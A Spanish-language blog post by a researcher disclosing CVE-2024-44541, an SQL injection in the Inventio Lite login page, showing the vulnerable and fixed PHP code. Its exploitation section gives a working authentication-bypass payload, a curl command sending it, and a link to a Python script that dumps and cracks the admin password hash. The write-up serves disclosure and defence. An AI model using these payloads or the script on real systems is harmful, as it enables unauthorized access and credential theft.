Table of Contents
Introducción:
Recientemente, descubrí mi primer CVE, un hito importante en mi trayectoria en ciberseguridad. Aquí comparto brevemente el proceso. ¿Qué es un CVE?
CVE (Common Vulnerabilities and Exposures) es un sistema que identifica y categoriza vulnerabilidades de seguridad en software, permitiendo que se reporte y solucione de manera coordinada. El Descubrimiento
Código Vulnerable
El código vulnerable se encuentra en el archivo de login, donde la entrada del usuario no se escapa adecuadamente antes de ser incluida en la consulta SQL:
1if(!isset($_SESSION["user_id"])) {
2 $user = $_POST['username'];
3 $pass = sha1(md5($_POST['password']));
4
5 $base = new Database();
6 $con = $base->connect();
7 $sql = "select * from user where (email= \"".$user."\" or username= \"".$user."\") and password= \"".$pass."\" and is_active=1";
8 $query = $con->query($sql);
9 $found = false;
10 $userid = null;
11 while($r = $query->fetch_array()){
12 $found = true;
13 $userid = $r['id'];
14 }
15}
En esta implementación, el parámetro username
se concatena directamente en la consulta SQL, permitiendo la inyección de código malicioso.
Código Corregido
La vulnerabilidad se solucionó utilizando consultas preparadas, que permiten escapar adecuadamente las entradas del usuario y evitar la inyección SQL:
1if(!isset($_SESSION["user_id"])) {
2 $user = $_POST['username'];
3 $pass = sha1(md5($_POST['password']));
4
5 $base = new Database();
6 $con = $base->connect();
7
8 // Preparar la consulta
9 $stmt = $con->prepare("
10 SELECT * FROM user
11 WHERE (email = ? OR username = ?)
12 AND password = ?
13 AND is_active = 1
14 ");
15
16 // Vincular los parámetros
17 $stmt->bind_param("sss", $user, $user, $pass);
18
19 // Ejecutar la consulta
20 $stmt->execute();
21
22 // Obtener los resultados
23 $result = $stmt->get_result();
24 $found = false;
25 $userid = null;
26
27 while($r = $result->fetch_assoc()){
28 $found = true;
29 $userid = $r['id'];
30 }
31
32 // Cerrar la declaración
33 $stmt->close();
34}
Explotación
Payload de Bypass de Autenticación
Un atacante puede explotar esta vulnerabilidad utilizando un payload como el siguiente para eludir la autenticación:
1username -> ") or 1=1-- -
2password -> cualquier_valor
Ejemplo de explotación con curl
:
1$ curl -X POST http://URL_INVENTIO_LITE/inventio-lite/?action=processlogin -d 'username=%22%29%20or%201%3D1--%20-&password=blablabla' -v && echo ""
Script de Explotación Automática
He desarrollado un script en Python que automatiza la extracción del nombre de usuario y hash de la contraseña del administrador, y luego intenta descifrar la contraseña.
Para usar el script, clona el repositorio y ejecuta el script:
1$ git clone https://github.com/pointedsec/CVE-2024-44541
2$ pip install -r requirements.txt
3$ python3 sqli.py
Ejemplo de salida del script
1[*] Checking if target is vulnerable
2[+] Target Vulnerable!
3[*] Dumping Administrator username...
4[◤] Extracting Username: -> POINTEDSEC@GMAIL.COM
5[/] Extracting Admin Password Hash: Final Admin Hash: 90b9aa7e25f80cf4f64e990b78a9fc5ebd6cecad
6[+] Password Decrypted! -> POINTEDSEC@GMAIL.COM:admin
Impacto
La explotación de esta vulnerabilidad puede tener las siguientes consecuencias:
- Confidencialidad: Los atacantes pueden extraer toda la base de datos, accediendo a información sensible como credenciales de usuarios, correos electrónicos y otros datos personales.
- Integridad: Un atacante podría obtener acceso administrativo, permitiendo modificar, agregar o eliminar datos en la aplicación.
Referencias
Créditos
Este CVE fue descubierto y reportado por Andrés Del Cerro (alias: pointedsec, yo jejeje). Si necesitas más información, no dudes en contactarme a través de pointedpentesting@gmail.com.
Conclusión
Después de validar la vulnerabilidad, procedí con su divulgación responsable, colaborando con el equipo de seguridad afectado para resolverla.
Descubrir y reportar un CVE ha sido una experiencia educativa, reforzando mi enfoque en la seguridad informática y motivándome a seguir contribuyendo a este campo.
Happy Hacking! 🚀
#Cybersecurity #Penetration Testing #Web Hacking #CVE #Informative #CVE-2024-44541